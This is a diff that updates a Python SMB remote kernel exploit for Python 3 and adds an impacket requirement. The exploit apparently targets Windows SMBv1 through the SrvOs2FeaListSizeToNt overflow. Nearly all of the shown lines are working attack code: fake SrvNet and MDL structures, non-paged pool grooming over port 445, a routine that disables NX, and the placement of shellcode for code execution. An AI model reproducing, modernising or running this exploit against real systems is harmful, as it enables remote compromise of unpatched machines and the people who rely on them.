fakeSrvNetBufferX64 += '\x00'*16 fakeSrvNetBufferX64 += b'\x00'*16
fakeSrvNetBufferX64 += pack('<QQ', 0, totalRecvSize) # offset 0x40 fakeSrvNetBufferX64 += pack('<QQ', 0, totalRecvSize) # offset 0x40
fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR, TARGET_HAL_HEAP_ADDR) # pmdl2, pointer to fake struct fakeSrvNetBufferX64 += pack('<QQ', TARGET_HAL_HEAP_ADDR, TARGET_HAL_HEAP_ADDR) # pmdl2, pointer to fake struct
fakeSrvNetBufferX64 += pack('<QQ', 0, 0) fakeSrvNetBufferX64 += pack('<QQ', 0, 0)
fakeSrvNetBufferX64 += '\x00'*16 fakeSrvNetBufferX64 += b'\x00'*16
fakeSrvNetBufferX64 += '\x00'*16 fakeSrvNetBufferX64 += b'\x00'*16
fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags fakeSrvNetBufferX64 += pack('<QHHI', 0, 0x60, 0x1004, 0) # MDL.Next, MDL.Size, MDL.MdlFlags
fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR-0x80) # MDL.Process, MDL.MappedSystemVa fakeSrvNetBufferX64 += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR-0x80) # MDL.Process, MDL.MappedSystemVa
return fakeSrvNetBufferX64 return fakeSrvNetBufferX64
@@ -204,14 +204,14 @@ def createFeaList(sc_size):
# #
# code path to get code exection after this struct is controlled # code path to get code exection after this struct is controlled
# SrvNetWskTransformedReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr # SrvNetWskTransformedReceiveComplete() -> SrvNetCommonReceiveHandler() -> call fn_ptr
fake_recv_struct = ('\x00'*16)*5 fake_recv_struct = (b'\x00'*16)*5
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x58) # offset 0x50: KSPIN_LOCK, (LIST_ENTRY to itself) fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x58) # offset 0x50: KSPIN_LOCK, (LIST_ENTRY to itself)
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x58, 0) # offset 0x60 fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x58, 0) # offset 0x60
fake_recv_struct += ('\x00'*16)*10 fake_recv_struct += (b'\x00'*16)*10
fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x170, 0) # offset 0x110: fn_ptr array fake_recv_struct += pack('<QQ', TARGET_HAL_HEAP_ADDR+0x170, 0) # offset 0x110: fn_ptr array
fake_recv_struct += pack('<QQ', (0x8150^0xffffffffffffffff)+1, 0) # set arg1 to -0x8150 fake_recv_struct += pack('<QQ', (0x8150^0xffffffffffffffff)+1, 0) # set arg1 to -0x8150
fake_recv_struct += pack('<QII', 0, 0, 3) # offset 0x130 fake_recv_struct += pack('<QII', 0, 0, 3) # offset 0x130
fake_recv_struct += ('\x00'*16)*3 fake_recv_struct += (b'\x00'*16)*3
fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x180) # shellcode address fake_recv_struct += pack('<QQ', 0, TARGET_HAL_HEAP_ADDR+0x180) # shellcode address
@@ -272,7 +272,7 @@ def createSessionAllocNonPaged(target, size):
sessionSetup['Parameters']['SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session sessionSetup['Parameters']['SecurityBlobLength'] = 0 # this is OEMPasswordLen field in another format. 0 for NULL session
sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS sessionSetup['Parameters']['Capabilities'] = smb.SMB.CAP_EXTENDED_SECURITY | smb.SMB.CAP_USE_NT_ERRORS
sessionSetup['Data'] = pack('<H', reqSize) + '\x00'*20 sessionSetup['Data'] = pack('<H', reqSize) + b'\x00'*20
pkt.addCommand(sessionSetup) pkt.addCommand(sessionSetup)
conn.sendSMB(pkt) conn.sendSMB(pkt)
@@ -294,7 +294,7 @@ def createSessionAllocNonPaged(target, size):
pwd_unicode = conn.get_ntlmv1_response(ntlm.compute_nthash(PASSWORD)) pwd_unicode = conn.get_ntlmv1_response(ntlm.compute_nthash(PASSWORD))
# UnicodePasswordLen field is in Reserved for extended security format. # UnicodePasswordLen field is in Reserved for extended security format.
sessionSetup['Parameters']['Reserved'] = len(pwd_unicode) sessionSetup['Parameters']['Reserved'] = len(pwd_unicode)
sessionSetup['Data'] = pack('<H', reqSize+len(pwd_unicode)+len(USERNAME)) + pwd_unicode + USERNAME + '\x00'*16 sessionSetup['Data'] = pack('<H', reqSize+len(pwd_unicode)+len(USERNAME)) + pwd_unicode + USERNAME + b'\x00'*16
pkt.addCommand(sessionSetup) pkt.addCommand(sessionSetup)
conn.sendSMB(pkt) conn.sendSMB(pkt)
@@ -381,7 +381,7 @@ def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLa
fixedOffset = 32+3+38 + len(command) fixedOffset = 32+3+38 + len(command)
if len(param) > 0: if len(param) > 0:
padLen = (4 - fixedOffset % 4 ) % 4 padLen = (4 - fixedOffset % 4 ) % 4
padBytes = '\xFF' * padLen padBytes = b'\xFF' * padLen
transCommand['Data']['Pad1'] = padBytes transCommand['Data']['Pad1'] = padBytes
else: else:
transCommand['Data']['Pad1'] = '' transCommand['Data']['Pad1'] = ''
@@ -392,7 +392,7 @@ def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLa
if len(data) > 0: if len(data) > 0:
pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4 pad2Len = (4 - (fixedOffset + padLen + len(param)) % 4) % 4
transCommand['Data']['Pad2'] = '\xFF' * pad2Len transCommand['Data']['Pad2'] = b'\xFF' * pad2Len
else: else:
transCommand['Data']['Pad2'] = '' transCommand['Data']['Pad2'] = ''
pad2Len = 0 pad2Len = 0
@@ -431,19 +431,19 @@ def send_big_trans2(conn, tid, setup, data, param, firstDataFragmentSize, sendLa
# this method is for allocating big nonpaged pool on target # this method is for allocating big nonpaged pool on target
def createConnectionWithBigSMBFirst80(target, for_nx=False): def createConnectionWithBigSMBFirst80(target, for_nx=False):
sk = socket.create_connection((target, 445)) sk = socket.create_connection((target, 445))
pkt = '\x00' + '\x00' + pack('>H', 0x8100) pkt = b'\x00' + b'\x00' + pack('>H', 0x8100)
# There is no need to be SMB2 because we want the target free the corrupted buffer. # There is no need to be SMB2 because we want the target free the corrupted buffer.
# Also this is invalid SMB2 message. # Also this is invalid SMB2 message.
# I believe NSA exploit use SMB2 for hiding alert from IDS # I believe NSA exploit use SMB2 for hiding alert from IDS
#pkt += '\xfeSMB' # smb2 #pkt += '\xfeSMB' # smb2
# it can be anything even it is invalid # it can be anything even it is invalid
pkt += 'BAAD' # can be any pkt += b'BAAD' # can be any
if for_nx: if for_nx:
# MUST set no delay because 1 byte MUST be sent immediately # MUST set no delay because 1 byte MUST be sent immediately
sk.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1) sk.setsockopt(socket.IPPROTO_TCP, socket.TCP_NODELAY, 1)
pkt += '\x00'*0x7b # another byte will be sent later to disabling NX pkt += b'\x00'*0x7b # another byte will be sent later to disabling NX
else: else:
pkt += '\x00'*0x7c pkt += b'\x00'*0x7c
sk.send(pkt) sk.send(pkt)
return sk return sk
@@ -467,13 +467,13 @@ def exploit(target, shellcode, numGroomConn):
# The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand. # The minimum requirement to trigger bug in SrvOs2FeaListSizeToNt() is SrvSmbOpen2() which is TRANS2_OPEN2 subcommand.
# Send TRANS2_OPEN2 (0) with special feaList to a target except last fragment # Send TRANS2_OPEN2 (0) with special feaList to a target except last fragment
progress = send_big_trans2(conn, tid, 0, feaList, '\x00'*30, len(feaList)%4096, False) progress = send_big_trans2(conn, tid, 0, feaList, b'\x00'*30, len(feaList)%4096, False)
# Another TRANS2_OPEN2 (0) with special feaList for disabling NX # Another TRANS2_OPEN2 (0) with special feaList for disabling NX
nxconn = smb.SMB(target, target) nxconn = smb.SMB(target, target)
nxconn.login(USERNAME, PASSWORD) nxconn.login(USERNAME, PASSWORD)
nxtid = nxconn.tree_connect_andx('\\\\'+target+'\\'+'IPC$') nxtid = nxconn.tree_connect_andx('\\\\'+target+'\\'+'IPC$')
nxprogress = send_big_trans2(nxconn, nxtid, 0, feaListNx, '\x00'*30, len(feaList)%4096, False) nxprogress = send_big_trans2(nxconn, nxtid, 0, feaListNx, b'\x00'*30, len(feaList)%4096, False)
# create some big buffer at server # create some big buffer at server
# this buffer MUST NOT be big enough for overflown buffer # this buffer MUST NOT be big enough for overflown buffer
@@ -514,7 +514,7 @@ def exploit(target, shellcode, numGroomConn):
# one of srvnetConn struct header should be modified # one of srvnetConn struct header should be modified
# send '\x00' to disable nx # send '\x00' to disable nx
for sk in srvnetConn: for sk in srvnetConn:
sk.send('\x00') sk.send(b'\x00')
# send last fragment to create buffer in hole and OOB write one of srvnetConn struct header # send last fragment to create buffer in hole and OOB write one of srvnetConn struct header
# second trigger, place fake struct and shellcode # second trigger, place fake struct and shellcode
+3 -3
View File
@@ -256,9 +256,9 @@ class MYSMB(smb.SMB):
if self._SignatureEnabled: if self._SignatureEnabled:
pkt['Flags2'] |= smb.SMB.FLAGS2_SMB_SECURITY_SIGNATURE pkt['Flags2'] |= smb.SMB.FLAGS2_SMB_SECURITY_SIGNATURE
self.signSMB(pkt, self._SigningSessionKey, self._SigningChallengeResponse) self.signSMB(pkt, self._SigningSessionKey, self._SigningChallengeResponse)
req = str(pkt) req = pkt.getData()
return '\x00'*2 + pack('>H', len(req)) + req # assume length is <65536 return b'\x00'*2 + pack('>H', len(req)) + req
def send_raw(self, data): def send_raw(self, data):
self.get_socket().send(data) self.get_socket().send(data)
+1
View File
@@ -0,0 +1 @@
impacket